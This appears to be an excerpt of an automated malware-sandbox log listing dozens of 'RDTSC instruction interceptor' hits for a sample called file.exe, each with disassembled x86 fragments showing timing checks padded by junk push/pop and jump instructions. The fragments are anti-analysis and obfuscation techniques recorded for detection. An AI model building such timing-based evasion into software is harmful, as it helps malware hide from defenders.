Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F3FF2 second address: 5F3FF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F606B second address: 5F607E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F865D1C5546h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F865D1C5546h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F71EE second address: 5F71F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6260 second address: 5F6265 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6265 second address: 5F6288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F865CD192E9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F94F1 second address: 5F94F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F94F7 second address: 5F94FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F832E second address: 5F8332 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F8332 second address: 5F8338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F8338 second address: 5F8361 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F865D1C554Ch 0x00000008 jnl 00007F865D1C5546h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 push edi 0x00000013 jmp 00007F865D1C5550h 0x00000018 pop edi 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FB4BE second address: 5FB4E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F865CD192E2h 0x00000008 ja 00007F865CD192D6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FC439 second address: 5FC43D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FC43D second address: 5FC443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FC443 second address: 5FC449 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FC449 second address: 5FC463 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F865CD192DCh 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FD4E2 second address: 5FD4E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FD4E6 second address: 5FD56D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F865CD192D8h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push eax 0x00000029 call 00007F865CD192D8h 0x0000002e pop eax 0x0000002f mov dword ptr [esp+04h], eax 0x00000033 add dword ptr [esp+04h], 0000001Ah 0x0000003b inc eax 0x0000003c push eax 0x0000003d ret 0x0000003e pop eax 0x0000003f ret 0x00000040 jns 00007F865CD192D9h 0x00000046 or dword ptr [ebp+122D2EEAh], ecx 0x0000004c call 00007F865CD192E6h 0x00000051 mov di, E363h 0x00000055 pop edi 0x00000056 push 00000000h 0x00000058 xchg eax, esi 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c jne 00007F865CD192D6h 0x00000062 pop eax 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE62C second address: 5FE682 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop eax 0x00000006 nop 0x00000007 mov edi, dword ptr [ebp+122D283Ch] 0x0000000d jmp 00007F865D1C5552h 0x00000012 push 00000000h 0x00000014 mov ebx, dword ptr [ebp+12480C46h] 0x0000001a mov edi, 36A24E91h 0x0000001f push 00000000h 0x00000021 mov ebx, dword ptr [ebp+122D2CD6h] 0x00000027 xchg eax, esi 0x00000028 pushad 0x00000029 pushad 0x0000002a jmp 00007F865D1C5559h 0x0000002f push esi 0x00000030 pop esi 0x00000031 popad 0x00000032 push esi 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE682 second address: 5FE6A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a jmp 00007F865CD192E3h 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FE6A0 second address: 5FE6A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA669 second address: 5FA66E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FD6F6 second address: 5FD72C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F865D1C5554h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 ja 00007F865D1C5546h 0x00000016 jmp 00007F865D1C5550h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FD72C second address: 5FD732 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6006D6 second address: 6006F7 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F865D1C5546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F865D1C5557h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FD810 second address: 5FD816 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6006F7 second address: 600701 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F865D1C554Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600D66 second address: 600D6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602F63 second address: 602F77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F865D1C5546h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A3548 second address: 5A3553 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edi 0x00000007 pop edi 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A3553 second address: 5A355F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F865D1C5546h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A355F second address: 5A3584 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865CD192E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A3584 second address: 5A3588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A3588 second address: 5A358E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A358E second address: 5A3594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A3594 second address: 5A35A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865CD192DDh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A35A6 second address: 5A35AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B47C second address: 60B490 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jl 00007F865CD192D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F865CD192D8h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60B490 second address: 60B497 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60FD17 second address: 60FD28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F865CD192DDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 617234 second address: 617244 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F865D1C5546h 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616639 second address: 61663D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61663D second address: 61664D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007F865D1C5546h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61664D second address: 616659 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616659 second address: 61665E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61665E second address: 616666 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616801 second address: 616805 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616805 second address: 61680B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61680B second address: 616811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616811 second address: 616825 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 js 00007F865CD192D6h 0x0000000b pop eax 0x0000000c ja 00007F865CD192DEh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616D72 second address: 616D8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F865D1C5556h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616D8C second address: 616D96 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F865CD192D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6170C0 second address: 6170C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6170C6 second address: 6170CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6170CC second address: 6170DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F865D1C554Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B83A second address: 61B860 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865CD192E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007F865CD192E2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61B860 second address: 61B877 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F865D1C5553h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C67A second address: 61C689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F865CD192DBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C689 second address: 61C6A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F865D1C554Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620FB3 second address: 620FC8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jne 00007F865CD192D6h 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c push edx 0x0000000d jno 00007F865CD192D6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621507 second address: 62150C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621686 second address: 6216EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F865CD192DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnp 00007F865CD192E2h 0x0000000f jl 00007F865CD192D6h 0x00000015 je 00007F865CD192D6h 0x0000001b popad 0x0000001c pushad 0x0000001d pushad 0x0000001e jng 00007F865CD192D6h 0x00000024 push ecx 0x00000025 pop ecx 0x00000026 jp 00007F865CD192D6h 0x0000002c jnp 00007F865CD192D6h 0x00000032 popad 0x00000033 jmp 00007F865CD192E7h 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F865CD192DFh 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62182C second address: 621832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621832 second address: 621863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F865CD192E9h 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e je 00007F865CD192D6h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jnc 00007F865CD192D6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF194 second address: 5CF198 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF198 second address: 5CF1A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF1A3 second address: 5CF1D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 jmp 00007F865D1C5559h 0x0000000c popad 0x0000000d jne 00007F865D1C555Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 je 00007F865D1C5546h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF1D4 second address: 5CF1DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A505A second address: 5A506B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jnp 00007F865D1C5552h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A506B second address: 5A5071 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5071 second address: 5A5075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5075 second address: 5A5080 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jng 00007F865CD192D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5080 second address: 5A5093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d jp 00007F865D1C5546h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5093 second address: 5A5097 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A5097 second address: 5A509F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A509F second address: 5A50A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F865CD192D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A50A9 second address: 5A50AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620C64 second address: 620C71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F865CD192D6h 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626040 second address: 626049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626049 second address: 626069 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F865CD192DCh 0x00000009 popad 0x0000000a pushad 0x0000000b jc 00007F865CD192D6h 0x00000011 jp 00007F865CD192D6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626069 second address: 62607E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007F865D1C5548h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62607E second address: 626093 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007F865CD192DBh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626093 second address: 6260A1 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F865D1C5546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6260A1 second address: 6260A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6260A5 second address: 6260AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EED3E second address: 5EED7E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F865CD192D8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+12480C46h], ecx 0x00000013 lea eax, dword ptr [ebp+12493B00h] 0x00000019 push 00000000h 0x0000001b push ebx 0x0000001c call 00007F865CD192D8h 0x00000021 pop ebx 0x00000022 mov dword ptr [esp+04h], ebx 0x00000026 add dword ptr [esp+04h], 00000014h 0x0000002e inc ebx 0x0000002f push ebx 0x00000030 ret 0x00000031 pop ebx 0x00000032 ret 0x00000033 mov dx, cx 0x00000036 push eax 0x00000037 pushad 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EED7E second address: 5EED82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EED82 second address: 5CE665 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F865CD192E7h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007F865CD192D8h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 00000018h 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 sub dword ptr [ebp+122D2D25h], edx 0x0000002f jl 00007F865CD192D7h 0x00000035 push edx 0x00000036 mov di, 131Ah 0x0000003a pop edx 0x0000003b call dword ptr [ebp+122D2E53h] 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EEE5E second address: 5EEE62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EEE62 second address: 5EEE82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F865CD192E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF1E2 second address: 5EF1EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F865D1C5546h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF1EC second address: 5EF21B instructions: 0x00000000 rdtsc 0x00000002 ja 00007F865CD192D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jl 00007F865CD192EEh 0x00000014 jmp 00007F865CD192E8h 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EF325 second address: 5EF32F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F865D1C554Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
